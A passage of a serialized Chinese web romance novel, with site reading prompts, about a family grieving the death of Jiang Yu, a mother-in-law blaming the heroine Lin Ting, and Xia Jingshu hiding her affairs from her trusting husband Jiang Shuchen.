梦里又喊又叫。 醒来时一身大汗淋漓。 就跟从水里捞出来似的,全身都湿透了。 江遇的去世,周自衡悲痛万分,却又真想把这个男人狠狠揍一顿。 他这就叫疼爱柚子? 扣扣! 柚子的房门,被轻轻叩响。 里面的柚子从门缝里,看见周自衡的身影。 小丫头离开妈妈的怀抱,从玩具桌前起身,快速飞奔到门口,拉开了门。 “爸爸,进来吧!” 小丫头昂起脑袋来,望着伟岸如山的周自衡。 只是看他一眼,便觉得心里踏实而充满了安全感。 周自衡低头揉了揉小丫头的脑袋,“爸爸没有打扰到你和妈妈讲话吧?” “没有。”小小的手儿,拉起爸爸宽厚温暖,又带着厚茧的手。 来到了妈妈的面前,“爸爸,今天晚上,我可不可以挨着你和妈妈一起睡?” “当然!”周自衡露出微笑。 抬手间,轻揉地揉了揉柚子的脑袋。 带着厚茧的手指指腹,碰到柚子包着纱布的地方时,轻得更轻了。 仿佛碰触的不是柚子的伤处,而是易碎的琉璃。 眉峰几不可察地蹙了一下,从眉心到眉梢,全是对女儿的心疼。 “柚子,伤得严重吗?” “爸爸明天带你再去医院,好好做个全身检查,好不好?” 柚子拉着周自衡的手,“爸爸,我只有额头上,和这里有一点刮伤。” 说着,柚子捞开裤腿,露出一截受伤的小腿来。 腿上的伤已经结痂了。 然后放下裤腿,轻轻指了指额头,“只有这里没有好。” “爸爸看一下,可以吗?” 柚子点点头。 周自衡小心翼翼地掀开纱布。 这是伤口感染了。 但是杰西送柚子回来的时候,明显已经替柚子处理过了。 “一会儿你洗完澡,爸爸给你换药。” 柚子乖巧地点了点头。 夕阳的余晖刚好落在父女俩的身影上。 一个伟岸如山,一个乖巧可爱。 两父女相处得那样和谐,没有因为分离的这大半年,而有什么生疏。 林听的目光,落在周自衡的侧颜之上,余晖刚好照着他这半张脸,映得他眼角微微弯起的弧度,温柔得像是盛满了整个春天一样。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!真好! 她和柚子,终于又回到了这个男人的身边。 “周自衡,我饿了。” 纤细柔软的手掌,落在周自衡的手臂处。 周自衡的另一只大掌,又落在她的手背上,轻轻拍了拍,“走吧,我们先吃饭。” 看着母女俩,周自衡常日紧崩冷硬五官,再没了半分凌厉。 全是温润与笑意。 一家三口很快来到了餐厅。 厨房早就准备好了吃的。 他们坐在一起,像往常一样,幸福而又温馨地吃着家常菜。 周自衡一会儿给柚子夹菜,一会儿林听夹。 他自己没顾得上吃几口。 这样的温馨的场面中,三人都会想到命丧异国他乡的江遇。 胸口都会划过一阵玻璃碴子划过的刺痛感。 但是很快又彼此都掩下去,继续融入到这难得一聚的幸福时光中。 洛高在旁边注视着自家家主的种种反应。 那个整日浸在寒冰里,脸上的线条崩得像是拉满弓弦的男人,此刻眼里只有林小姐和柚了两母女。 他怎么看这两母女,都看不够似的。 生怕一眨眼,她们就又消失在自己视线里了。 以至于这一顿饭,洛高都没见周自衡几上两口。 林听给柚子夹了菜,抬眸时无意间看着周自衡只盯着她和柚子,却不动筷子。 桌前的那碗白米饭,他也是一口没动。 她夹起一块香煎雪鱼,递到周自衡的碗里,“你怎么不吃啊?” “好久没有这样看着你和柚子了。” “我们以后再也不分开了。”林听拍了拍他的手,“吃饭吧,光是看我,又看不饱。” 男人的薄唇,勾起一抹好看又迷人的弧度。 谁说的。 就这么静静地看着她,也是能看饱。 他不但没有拿起筷子,反而手肘着下巴,目光忌惮地落在林听和柚子两母女的身上。 “爸爸,我和妈妈不会再离开你了。”柚子给周自衡夹了一块肉,“你快吃饭吧。” “柚子乖!” 女儿夹给他的肉,他当然要好好品尝一下。 一块红烧肉,在唇间化开。 那应该是这半年来,周自衡第一次感受到食物的美味。 …… 鼎盛酒店,芙蓉厅。 今天晚上这顿饭,江书臣单独带着儿子江嘉树,来了芙蓉厅。 看似是江嘉树小朋友饿了,江书臣点给儿子吃的。 实际上,好几个菜,江书臣都是替江遇点的。 他还要了两瓶白酒,要了三个酒杯。 满上酒后,江书臣递了一杯给江嘉村,“嘉树,来,敬你阿遇叔叔一杯。希望他黄泉路上,一路走好。下辈子投胎的时候,别在这么固执偏激。也祝他下辈子能够和他心爱的姑娘一直长长久久,幸福美满。” 眼角滑过几滴泪。 江嘉树放下从爸爸手中接过来的白酒,小手落在爸爸的眼角,替爸爸擦泪。 “爸爸,你别难过了。” “万一有奇迹出现,阿遇叔叔还活着呢?” 江书臣想想,眼泪止不住,“你没听你柚子妹妹说,他替她挡了一枪,还被砍了好几刀,又掉进了海里。” 江嘉树说,“可是,如果阿遇叔叔不把柚子妹妹和小听阿姨藏起来,怎么可能会遇到这种危险。他也是活该的啊……” “他……”江书臣知道,江遇确实是活该的。 可那毕竟是一条活生生的性命啊。 江书臣轻轻拍了拍儿子的脑袋,“你个没良心的,平日里你阿遇叔叔对你疼得像亲儿子一样。” “那他以前还对那个叫苏暖暖的,疼得像亲女儿一样呢。不管怎么样,都抹不掉他对柚子妹妹的伤害。”江嘉树据理力争。 哼! 这个男人,都是活该的。 他要是不把柚子妹妹藏起来,会发生这种事情? 害他这半年来,因为思念柚子妹妹,就没好好吃顿饭,好好睡个安稳觉。 半夜都会梦见柚子妹妹哭着喊着说:救救她! 江嘉树刚刚才看到柚子妹妹平安无事回来,现在又想柚子妹妹了。 “爸爸,明天我可不可以去找柚子妹妹玩?” 江书臣没有理会儿儿子。 他把酒倒在地上,“阿遇,一路走好!” “爸爸,明天我想去找柚子妹妹。”江嘉树拉了拉江书臣的衣领。 “爸爸明天没空。” 林建国几乎不怎么管林江医药的事情。 江遇又出了这样的事。 集团上上下下所有的事情,都压在他身上。 他忙得像是陀螺一样。 要不是柚子回来了,他现在应该在飞机上。 “你让妈妈带你去吧。”江书臣揉了揉儿子的脑袋。 提到妈妈,江嘉树不由嘀咕了一声,“妈妈比你更忙,她没空陪我的。” 江书臣替儿子夹菜的时候,随口说了一句,“你妈妈每天都不用上班,怎么会没空?” 江嘉树很少朝父亲抱怨。 最近妈妈外出的时间太过频繁了,他才抱怨了几句。 本小章还未完,请点击下一页继续阅读后面精彩内容!“你不知道吗?” “妈妈每天不是忙着出去做头发,保养皮肤。” “就是和她的那些闺蜜参加什么茶会,花艺会,音乐会。” “好几天没在家里吃饭了。” “厨房给我做了一桌子好吃的,我一个人吃着一点也不香。” 江书臣又揉了揉儿子的脑袋,“女孩子爱美,去做头发和护肤美甲,很正常。” “嘉树。”江书臣又说,“你要支持妈妈。” “……” “他不仅是你的妈妈,是我的老婆,她还是她自己。” “……” “她应该有她的兴趣爱好,有她的社交圈子。” “……” “并不是因为她成了爸爸的妻子,成了你的妈妈,她就要失去这些自由。” “……” “没有嫁给爸爸和没有生你之前,她也是一个被外公外婆捧在手心里的公主。” “……” “知道吗?” 江嘉树心里有些不服气,“知道啦,就你宠她,都快把她宠坏了。” 这次爸爸好不容易回来,妈妈应该陪他和爸爸好好吃顿晚饭。 可是妈妈今天却去赴闺蜜之约。 江嘉树停下夹菜的动作。 俊气的小脸蛋上,是一脸谨慎和严肃。 “爸爸,我得提醒你一下,你要多抽时间陪陪妈妈了。” “别到时候妈妈喜欢上别的叔叔了。” “嘿!”江书臣一拍儿子后脑勺,“那是你妈,你怎么能这么诋毁你妈。她对爸爸一直忠贞不渝,刚刚他还发信息问爸爸吃饭没有,要爸爸好好照顾好自己。不许你这么说你妈。” 哪有自己的儿子,说自己的老妈给老爸戴绿帽子的? 江嘉树给老爸夹了一块水晶虾仁,“爸,我是好心提醒你,老婆宠归宠,还要抽时间多陪陪她的。阿遇叔叔离开的这半年,你一忙起来大半个月不着家。我妈她经常往外面跑……” 连小嘉树也嗅到某种不详的预感。 就怕爸爸妈妈出现感情危机。 他也是好心提醒他老爸。 俊气的小脸蛋上,出现了他这个年龄不该有的老气横秋,“爸,你不知道夫妻俩长期分居,感情是会出问题的?” “别的夫妻会,你爸和你妈不会。我相信你妈。” 夏静姝的人品,江书臣是最了解的。 她除了爱撒娇,脾气不好,爱做美甲,爱美容,爱打扮,爱和闺蜜一起出去玩以外,没别的坏毛病。 就是个心直口快,没什么心眼心机的单纯女人。 江嘉树戳着碗里的米饭,问,“爸爸,你就真不怕我妈给你戴绿帽子?” “你妈不会!”江书臣说得斩钉截铁,随即又拍了拍儿子的后脑勺,“你再说你妈坏话,爸爸真生气了。” 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第187章 护妻 江书臣不容任何人说自己妻子半个不字。 哪怕这个人是自己的儿子。 温润英俊的面容,紧紧一崩。 脸色顿时严肃起来。 “妈妈生你的时候,差点难产。” “以后要好好孝顺妈妈,知道吗?” 江书臣教育着儿子。 “还有,妈妈要是知道你在背后这样胡乱猜测她。” “她心里得有多难过,你想过吗?” 江嘉树点点头,“知道了,爸爸。” 这时,江书臣紧崩的神色,这才缓和下来,随即温柔一笑。 “明天我让妈妈带你去找柚子妹妹。” “你小听阿姨和柚子妹妹回来后,妈妈还没有去见过她们。也该过去看看了。” “快吃饭,吃了饭爸爸先送你回去,一会儿爸爸要去一趟你四爷爷那里。” 四爷爷,指的是江遇的父亲。 江书臣和江遇祖上沾了一些亲戚关系,不是真系亲属,却也同宗同族。 江遇的父亲排行老四,所以江书臣叫他一声四叔。 饭后,江书臣把江嘉树送回了静怡别苑。 和闺蜜外出的夏静姝,还没有回来。 江书臣给夏静姝发了一条微信: 【老婆,嘉树在家里有保姆照看着,你别担心。你那边结束了回来注意安全。】 【我这边已经确认江遇遇难我,现在要去一趟四叔那里。】 【所以又没有时间陪到你,是老公不好,实在抱歉!】 酒店。 夏静姝刚刚结束一场运动。 全身大汗淋漓,正准备去洗澡。 身后的健身教练圈着她的腰,吻了吻她白皙的脖颈。 夏静姝推荐教练的脑袋,“离我远点。” 她对这些男人,向来只有生理需求,没有半点感情。 不过是玩玩而已。 不管他们的身材有多好,床上技术又有多棒,都不过是她寻找刺激的工具而已。 做完那种事情,她就不需要了。 身体一旦得到满足,再碰这些男人,她自己都觉得有些脏。 “我老公发信息给我,你规矩点,别乱动。” 眼前的女人,是这教练的金主。 惹恼了她可不好。 于是,这年轻的教练老老实实地坐在床上,不敢再缠着她了。 这教练是刚刚体育学院毕业,拿了教练的资格证,刚参加工作没多久。 三个月没开单,好不容易因为自己的长相,被夏静姝这个富婆给相中了。 陪睡一次,五千块钱。 这钱太好赚了。 而且这个富婆姐姐,长得又白又美又瘦又娇,睡一次还有钱赚,多划算呀。 夏静姝回了江书臣的微信: 【没关系,我和闺蜜这边也马上结束了,我回去哄嘉树睡觉。】 【江遇的事情,你好好安慰一下四叔吧。】 以前夏静姝还会抱怨,江书臣没有时间陪她。 现在她身边的男个,个个身材好到爆,要肌肉有肌肉,要技术有技术。 她这两天睡的这个男人,还是个刚毕业的雏。 有他们满足她的生理需求,江书臣不回来陪她,她也不会寂寞。 只是此时此刻,夏静姝对江书臣满心都是愧疚。 她又回复了几条: 【老公,你去完四叔家,因家也注意安全哦。】 【亲亲表情包】 【老婆爱你哦!】 年轻教练看到她最后一条微信,有些吃醋了。 再次缠上她的腰,【姐姐,难道你就不爱我了吗?】 那只结实有力的胳膊,被夏静姝拿开,“小弟弟,第一次上床的时候说好的,睡归睡,睡一次五千块,不谈感情。我可是有家室的人。” 说完,她去洗了个澡,收拾完,干脆利落地离开了。 …… 江家老宅。 江父江母还没有收到江遇遇难的消息。 半个月前,林听回到鹏城,老两口一直想去找林听聊聊她和儿子之间的感情问题。 可是周自衡不让他们见面。 他们根本见不到林听。 今天倒好。 周自衡自己送上门了。 偌大的客厅里,江父江母并肩坐着,对面坐着周自衡。 不过,江家没有半点待客之道。 两个长辈脸色铁青。 江母哼了一声,问,“周自衡,我问你,那个林听到底怎么回事?她是准备脚踏两只船不,既要吊着你,又要吊着我儿子不成?” 江母一直就不怎么喜欢林听。 儿子江遇向来乖巧懂事,他们老两口说什么,江遇便听什么。 从不会和他们老两口起任何的争执。 可是自从林听上高中,他们发现儿子和林听偷偷摸摸在谈恋爱后,儿子一次又一次地跟他们争吵。 平日里他们和儿子相处融洽。 就因为林听,经常吵得面红耳赤,不可开交。 所以林听一直不受江母喜欢。 现在江遇为了这个女人,套现了林江医药两千个亿的资产,简直为了这个女人神魂颠倒的地步了。 江母还能喜欢林听? 不可能的事情。 这章没有结束,请点击下一页继续阅读!“还有你,周自衡。明知道柚子是江遇的女儿,明知道林听是自己兄弟的女人,你还要横插这么一脚,你有没有一点廉耻之心。” 就算江父江母不喜欢林听嫁给江遇,也不容易这个叫周自衡的男人,抢自己儿子的女人。 江父江母再没有礼数,佣人还是端来了一杯茶。 这时,佣人将茶杯,恭敬地递到周自衡的面前。 茶盏落在周自衡的掌心,他的目光却依旧停留在江母的脸上。 似淬着一道寒光。 哐当一声。 茶盏轻轻搁在旁边的边几柜上。 明明很轻的磕响声,却像是有一道重雷击打在江母的胸口。 男人紧崩的面色和鹰隼般的目光,让江母的数落和指责声,停下来。 胸口被震了一下。 小心翼翼地看着周自衡。 听说这个周自衡心狠手辣,连自己的亲兄弟也敢杀,自己的亲生父亲也敢囚禁。 她说话的时候是不是应该收敛点? 江母忽然变得大气也不敢出一下,小声道,“就算你喜欢林听,也不应该当第三者呀。还有那个林听……” “江夫人母家最近在竞争是个AI研发项目?” “……你,你想干什么?” 男人指尖在桌面轻扣。 明明声音极却,却震得江母胸口一颤,“你,你别对我弟弟动手。” 周自衡鹰隼的目光,越发慑人。 旁边的洛高提醒道:“林小姐是我家家主光明正大追到手的女人,也是我周家未来的当家主母。江夫人再敢在背后说她半个不字,江夫人母家的这趟生意,恐怕是做不成了。不想倒霉,就管好你的嘴。” “还有,我今天专程登门拜访,是要告诉你们,江遇已经死了。” 随即,又道,“还有,江遇将我周家当家主母非法囚禁在岛上长达半年之久。回鹏城时遇到了水龙卷,又遇到了海盗,他是死于海盗之手。如果二位胆敢将江遇的死,算到我家未来的当家主母的头上,那么二位的好日子也是到头了。” 坐在沙发上的周自衡,这才淡淡开口,“二位长辈,节哀!” 该警告的也警告了。 该安慰的也安慰了。 男人从沙发上起身,转身离开时,头也不回。 留下江遇父母二人,半天都没反应过来。 “他刚刚说什么,他说我们的儿子死了?老江,你听到了吗?” “阿衡?”刚刚踏入周家客厅的江书臣,撞见了正准备离开的周自衡,“江遇的事情,你告诉我四叔四婶了?” 周自衡面色冰冷,“让他们管好自己的嘴,别扣帽子。” 说完,男人长腿一迈,冷冷离开。 江书臣大概明白了,周自衡是怕四叔四婶把江遇的死,怪罪到林听身上。 所以前提来打个招呼,给予警告。 确实如此,四叔四婶向来不喜欢林听。 所以几年前林听入狱的时候,四叔四爷巴不得她多判几年。 “书臣,你告诉四婶,那个姓周的说的不是真的。江遇怎么可能死?” 江书臣迈着沉重的步伐,走过去,“四叔,四婶,节哀!” 偌大的客厅忽然变得异常安静。 江父江母慌了神,对望一眼,谁都不肯相信这样的事实。 谁都不知道该说什么,唇齿颤抖着,久久发不出声音。 打破这阵异常的安静的,是江书臣。 “四叔,四婶。原本周自衡已经准备和林听结婚了,是江遇接受不了这个事实,从集团挪走两千亿的现金流,买下了好几个小岛屿,把林听囚禁在了那里。” “江遇的事,和林听没有关点关系。” “如果他的处事风格不是如此偏激,也就不会死在回鹏城的路的。” “小听的命已经够苦了,希望你们不要把这件事情怪罪在小听身上。 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第188章 该死的人是她们母女 江父江母怎么可能不怪罪林听。 林听虽然和江遇从小一起长大,也是两家一直默认的青梅竹马,两家联姻,又牵扯到利益关系,之前江父江母也是支持林听和江遇在一起的。 但是他家江遇和林听在一起后,就各种违背他们的命令,一心扑在林听身上。 这个儿子,为了林听,挪用了家族两千亿的现金流。 虽然说林江医药四面楚哥,濒临破产之际,是江遇和江书臣这两个后生力挽狂澜,救林江医药于危难之间,让林江医药走上了另一个新辉煌,可是江遇怎么可以为了那个女人,挪走两千亿现金流? 为了那个女人,江遇甚至死在了国外。 江父握着手中的茶盏。 长着老年斑的手掌却紧紧一攥,指节隐隐发白,像是要把这茶盏给捏碎。 江书臣听着茶盏的盖子和茶盏的杯子,发出碰撞的叮当声。 这声音清脆绕耳。 却像是一块重石一样,沉沉地敲在江书臣的胸口。 江父咬着牙问,“我问你,江遇是怎么死的?” 直到现在,江书臣仍旧觉得这只是一个噩梦,他的好兄弟江遇并没有发生意外。 可这就是事实。 昨天晚上,他还梦到江遇的尸体泡在大海里,全身肿长,已无法辨认出他本来的模样,梦醒后一身大汗。 “四叔,江遇怎么死的,你就别打听了。反正真的不是小听的错,他们只是在海上遇到了海盗,和海盗搏斗时,他掉进了海里,属于意外,和小听没有关系。” 坐在江父身边的江母,把茶盏哐当一声,摔在地毯上。 陶瓷碎片溅起来。 有一片碎渣刺进江书臣的手背,顿时一阵疼。 尖锐的疼痛中,又有江母尖锐的声音,“怎么可能和林听没关系,说不定江遇就是为了救林听和那小柚子,才发生意外的。” 江母又不是不记得,以前江遇为了保护林听,去景德镇的时候,硬是被冲出来的流浪狗狠狠撕咬,差点咬掉几块肉。 幸好那流量狗没有狂犬病,否则江遇早死了。 那个时候他就劝儿子,不要为了一个女人如此拼命,可江遇的眼里只有林听。 江书臣看了看被刺伤的手背,流血了,可是他没去管。 手垂下来后,江书臣对着江母又说,“四婶,小柚子是江遇的亲生女儿,就算江遇是为了救她也是情理之中的事情。四婶,我知道江遇的死对你们打击很大,但是真的不要怪罪在小听和小柚子身上。” “你知道什么。那是我儿子,我儿子死,不是你儿子死了。” 激动的江母从沙发上站起来,捶着胸口,情绪崩溃大哭。 “林听和林瑾一,就是扫把星。” “那女孩是不是我们江家的种还说不定呢。” “该死的是林听母女俩,不是我儿子。” 江母哭得撕心裂肺,也吼得撕心裂肺,旁边的江父起身搂着她,也跟着抹着泪。 江母认为林听这个女人,就像是红颜祸水一样。 他家儿子遇到她,就没发生过好事,以前碍于林江两家的关系,江母没说出那些不满意的。 她早就看不惯林听在林家被娇生惯养的样子。 现在江遇出事了,更是看不习惯。 她恶狠狠地问江书臣,“她们母女为什么不去死?” “四婶……” “你什么也别说了,明天我会去找她们母女算账。她是不是住在周自衡的家里?” 江书臣胸口又堵又闷。 瞧着四婶这激动发怒的样子,明天避免不了一场矛盾要被激化。 他既是心疼自己已经逝的兄弟,又是心疼命运多舛的林听和小柚子。 手背被刺伤的地方,还在流着血,可是江书臣却丝毫不顾。 他带着严肃的语气,提醒道,“四叔,四婶,江遇葬身在海里,尸骨无存。眼下最重要的是,给他立个衣冠塚。如果你们真的心疼阿遇,就好好给他立个塚,让他魂归故里。” 提醒完,江书臣便转身离开了。 他手上流淌下来的鲜血,一滴一滴,落在江家老宅的地毯上,没有人察觉。 傍晚,江书臣回到静怡别院。 江嘉树还没有睡,他在自己家的座机旁,给小柚子打着电话,“柚子妹妹,我明天可以去找你玩吗?” 小柚子正和周自衡坐在书桌前,给林听肚子里的小妹妹,取着名字。 她看着写名字的周自衡,问,“爸爸,嘉树哥哥说明天要来找我玩,可以吗?” 周自衡抬头,“你想和嘉树哥哥玩吗?” “嗯!” 柚子在冰岛上的时候,就已经非常想念嘉树哥哥和落落姐姐了,盼盼妹妹也一岁多了。 小柚子点点头后,又说,“我想邀请嘉树哥哥和落落姐姐,还有盼盼妹妹,一起到我们家里来。” 周自衡摸摸柚子的小脑袋。 这半年没见着柚子,周自衡这会儿看着小妮子的每一眼,都充满了珍惜和慈爱。 “那爸爸明天安排一下,让嘉树哥哥和落落姐姐好好玩一天。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“谢谢爸爸!” 江书臣来到儿子面前时,听见他和小柚子在通电话,随口问了一句,“嘉树,你问问柚子,阿衡叔叔在不在他旁边。” 江嘉树问了后,望向他,“爸爸,阿衡叔叔在的。” “电话给我。”江书臣把座机电话,拿过来,又对着那头的小柚子温柔地喊了一句,“柚子,晚上好,让我和爸爸说一句话。” 这时,旁边的江嘉树瞧着爸爸拿着电话的手背上,淌着血。 血迹已经干了。 可是好长一条血渍。 小腿一抬,赶紧去柜子里找医药箱。 这边,江书臣对周自衡说道,“阿衡,明天我四婶可能会去找小听的麻烦,你那边保护好小听。小听现在还大着肚子,别让我四叔四婶闹出什么事来。” 江书臣和周自衡说完后,便挂了电话。 正好,电话的内容,被走进客厅的林振宇听见了,“书臣,你刚刚说什么,江遇父母要去找小听闹事?” 他这个当哥哥的,怎么可能允许发生这种事情。 江书臣心情够烦的,冷冷地睇了林振宇一眼,“你就别去凑热闹了,有阿衡在,他能护小听周全的。你去了,小听也不待见你,看到你更心烦,你少去小听面前转悠。” 这句话,像是一把刀子一样,插在林振宇的胸窝里。 他怎么就如此不招小听待见呢? 小听被江遇掳走的这大半年的时间,他每天吃不好,睡不好,经常梦见小听。 现在小听回来了,有人欺负小听,难道他这个当哥哥的,不可以去给她撑腰吗。 林振宇虽然没说话,但是心里已经暗暗下了决心,明天一定要去一趟林听那里。 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第189章 如果我背叛了你,你会原谅我吗 坐在沙发上的江书臣,见站在客厅里的林振宇还不走。 他紧锁着眉心,不太耐烦道,“你还站在这里干什么?” 这个时候,林振宇才想起来,他来找江书臣还有别的正事,他走过去,坐在沙发的对面,开始聊正事。 “书臣,我是来跟你商量小听和周自稀的婚礼事宜的。你能不能帮我打听一下,周自衡准备什么时候办婚礼?我这个当哥哥的,怎么样也要给小听举办一场盛大的婚礼。我爸也给小听准备了丰厚的嫁妆。” 江书臣自打从江遇父母那里回来后,心情就一直烦燥燥的,说话的语气自然好不到哪里去,他冷冷哼了一声,“呵!这个时候你知道你是当哥哥的,要给小听准备嫁妆了。当初小听差点死掉的时候,你怎么不知道你是小听的哥哥?” “我……”林振宇被噎了一下。 回忆起之前他对林听做的那些种种恶劣的事情,他到现在还无比愧疚。 胸口像是揣了一把碎渣子,每每呼吸,都被硌得生生的疼。 忏悔的泪水流下来,“书臣,人非圣贤,孰能无过。难道做错了事情,就没有丝毫改正的机会吗?为了救小听,我也丢掉了半条命,到现在因为被苏秀珍捅了那几刀,我还没恢复安全,经常肝脾疼痛……” 话还没让他说话,江书臣斩钉截铁,“那是你活该的。你赶紧走吧,我不想在这里跟你讨论谁是谁非。再说了,小听和阿衡不可能在现在举行婚礼。” 说完,他依靠在沙发靠椅上,揉了揉眉心。 闻言,林振宇双手搁在大腿上,手指用力攥紧,“周自衡是什么意思,小听肚子都这么大了,他还不准备娶小听。书臣,你就跟我说句实话,周自衡和小听领结婚证了没有,要是领了证,什么时候办婚礼,要是没领证,又打算什么时候让我家小听当上名正言顺的周太太?” 原本半年前,周自衡和林听有了夫妻之实时,是打算去民政局领结婚证的。 可是领证的前两天,江遇便将林听和小柚子掳去了国外。 到现在,周自衡和林听还没有领结婚证。 这件事情,江书臣猜测,可能没那么快。 他睇了满脸火气的林振宇一眼,“你着什么急?” 林振宇握紧拳头,“我怎么可能不着急,我就这么一个妹妹,从小含在嘴里怕化了,捧在手心里怕摔了。我妹妹肚子都这么大了,我这个当哥哥的……” “停,停,停……” 江书臣打了一个停住的手势,“林振宇,你说这些话的时候,脸不红吗?你还有脸说这些?” “我……” “还有,江遇刚出了事,虽然阿衡和林听都恨他入骨。但是阿遇对阿衡和小听,都是人生中非常重要的人。就算他们的关系再也回不到从前了,阿衡和小听也不会在江遇尸骨未寒的时候去领结婚证。” 江书臣猜测,两人可能都打算过段日子再把结婚的事情提上日程。 “你说这话什么意思,是小听心里还有江遇?” “小听现在心里只有阿衡,不然阿遇不可能把她和柚子送回国。但小听肯定也不希望江遇这个浑蛋就这么死了。” 想到好兄弟死在海上,江书臣胸口一阵刺痛。 连声音也带着哽咽。 他喉咙发紧,良久都说不出下一句话。 林振宇的心也是肉长的,江遇就这么死了,他也觉得遗憾。 可长叹一口气后,还是残忍地说道,“他要是能够成全小听和周自衡,不做出把小听和柚子掳走这种事情,怎么可能平白无故死在海上?一切都是他咎由自取。” 江书臣毫不客气地怼回去,“对,每个人都应该为自己的行为买单,种什么因得什么果。所以现在小听不愿意搭理你,也是你活该的。” “江书臣,你……” “我也不愿搭理你,你赶紧走。” 旁边的江嘉树,很礼貌地比了一个手势,“林叔叔,我们家确实不太欢迎你,请吧。” 林振宇走后,江嘉树赶紧给江书臣受伤的手背消了毒。 然后给他贴上一块创可贴。 江书臣说了声谢谢儿子,然后问,“嘉树,你妈怎么还没回来?” 天色也不早了,江书臣担忧夏静姝在安危,他赶紧给夏静姝打了一通电话,夏静姝没有接,又赶紧给司机小赵打了个电话。 小赵在电话里说,“江总,太太今天是自己开车出去的,她最近都没让我给她开车。” 江书臣心里还有些担忧时,小赵又说,“江总,太太她最近出去的次数比较频繁,而且每一次都不让我跟着。我发现太太最近有些不太对劲儿,尤其是你不在鹏城的时候。” “你想说什么?”江书臣问。 小赵想说的是,他怀疑太太很有可能,在外面有男人了。 但是他怎么敢说得如此直接,只好隐晦地提醒一下。 江书臣又不是傻子,何尝听不出小赵的言外之意,没等小赵回答,他绅士道,“小赵,静姝她是一个有原则,有立场的好妻子。我希望你不要对她有任何误会。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“江总……” “好了,就这样。” 江书臣丝毫没有怀疑夏静姝,反倒是因为小赵这善意的提醒,有些生气。 他的妻子怎么可能出轨? 他最信任夏静姝了,她无非是喜欢和姐妹们出去做个美甲美容,逛逛街,打打牌,插插花而已。 这时,身侧的小嘉树,认真地看着他,“爸爸,我也觉得妈妈最近出门的次数太频繁了。有时候一整夜都没有回家。” 江书臣看着儿子问,“你是说一周前,你妈妈她夜不归宿的事情?” 江嘉树点点头,“对,就是一周前。” 江书臣捏着儿子的鼻子说,“那是你妈妈和她好闺蜜打了一晚上的麻将,你就别跟小赵叔叔一样,乱怀疑你妈了。爸爸不在家,她出去打个麻将而已。” “爸爸,妈妈和谁打麻烦了,你问过吗?又找人确认过吗,你就真的不怕妈妈骗你?” 这时,夏静姝踩着高跟鞋,从外面走回来,“你们两父子在说什么?” 刚进门的时候,夏静姝便听见儿子说她骗人,她问,“嘉树,你说妈妈骗爸爸什么啦?怎么妈妈一不在家,你就开始在背后说妈妈坏话?” 江书臣递给儿子一个眼神:看吧,我跟你说过不要在背后说妈妈坏话吧? 随即,江书臣上前,接过夏静姝手中的包包,“儿子说上周你在外面和闺蜜打了一个晚上的麻将,熬夜太辛苦了,要我劝劝你,以后打麻烦别熬夜。” 说到这件事情,夏静姝一阵心虚。 手里的包还没彻底被江书臣接过去,她用力攥紧包包肩带。 江书臣发现她攥得紧,也没太在意,“先把包包放下吧。” 夏静姝这才松开包包肩带。 实际上,上周的时候,她并不是和闺蜜打了一夜的麻将。 而是和男人约了一个晚上的炮。 上半场一个男人,下半场还换了另一个男人。 上半场的那个男人技术不好,所以她中场换人了,但后半场那个男人却恰恰相反,他技术吊炸天,让她现在还有种偷情的刺激感。 只是当着江书臣的面,她又特别的内疚不安。 总觉得自己是个坏女人。 江书臣对她这般好,什么都依着她,宠着她,除了忙一点以外,他几乎可以算是十全十美的男人,打着灯笼也难找。 可是,她竟然一次又一次地背叛了江书臣。 其实每一次背叛江书臣时,她都想把自己的手给跺了,并且每一次偷情结束,都会想过那是最后一次,以后都不会再犯了,但每一次又忍不住继续再犯。 就像此时此刻,她满心内疚地看着江书臣,心想着自己真是该死,放在古代就该被浸猪笼,她要改邪归正,再也不做对不起江书臣的事情了。 这时,江书臣看见包包上有一道刮痕,不由好奇问,“静姝,你的包包怎么坏了?” 那个包包上的刮痕,应该是她和男人上床的时候太着急了,刮到什么东西了。 她也没在意。 反正今晚和那小鲜肉偷的时候,要多刺激有多刺激。 她把包包拿过来看了看,假装不知道,“呀,怎么刮了这么长一道口子,回头我拿去看看,能不能修复。” “别修了,老公明天回来的时候,再给你买一个。” “老公你真好。” 这时,江嘉树在旁边提醒了一句,“妈妈,爸爸这么爱你,你都不关心他。” “胡说!”夏静姝故作生气状,瞪了儿子一眼,又说,“妈妈最爱的就是你爸。” “喽,爸爸受伤了,你都没有发现。”江嘉树把江书臣受伤的手举起来,“但是你的包刮破了,爸爸一下子就发觉了,还说要给你再买个新包包。” 江嘉树从小这么看着爸爸宠妈妈,他发誓,自己长大以后,也要像爸爸一样,宠他的媳妇。 这时,夏静姝才抓住江书臣的手腕看了一眼。 确实是受伤了。 夏静姝也很心疼,“老公,你的手怎么受伤的,伤口深吗,严重吧,让我看看,要不要去医院打个破伤风?” “没事。”江书臣抽开手,笑了笑道,“就是一点刮伤,不小心弄到的。” 他没说他去四叔四婶家,二老发火的事情。 不想把这些不愉快的事情,带回家里。 “还是去打个破伤风吧,万一上面有锈怎么办。” “没是生锈的铁刮伤的,只是碎掉的陶瓷片刮掉的。” “不会是你去四叔四婶家,四婶又摔茶杯了,你被碎陶瓷刮伤的吧?” “还是瞒不过你。” “就你四婶那臭脾气,江遇小的时候但凡有什么事情不如她的意,她不是摔碗就是摔盘子摔杯子。我还能不知道她?” 夏静姝吧了一口气,又道,“唉,说起来,江遇其实挺可怜的。从小在父母的高压下生活,一旦他不照着父母的意愿来,你四叔四婶,不是绝食相逼,就是摔东西打人家法伺候。他大概唯一觉得有盼头的,就是以后长大了能娶小听吧。只可惜这个机会,他没有抓住。是他亲自把小听越推越远,唉,最后闹成这样……也是自作孽不可活。” 本小章还未完,请点击下一页继续阅读后面精彩内容!夏静姝何尝又不知道,自己现在也是常在河边走,不可能不湿鞋。 她真怕有一天会在江书臣面前暴露了。 她抓着江书臣的手,暗暗发誓,今晚就是她最后一次偷腥,以后都不会再有下次了。 否则到时候她也会像江遇一样,自己把自己给作死。 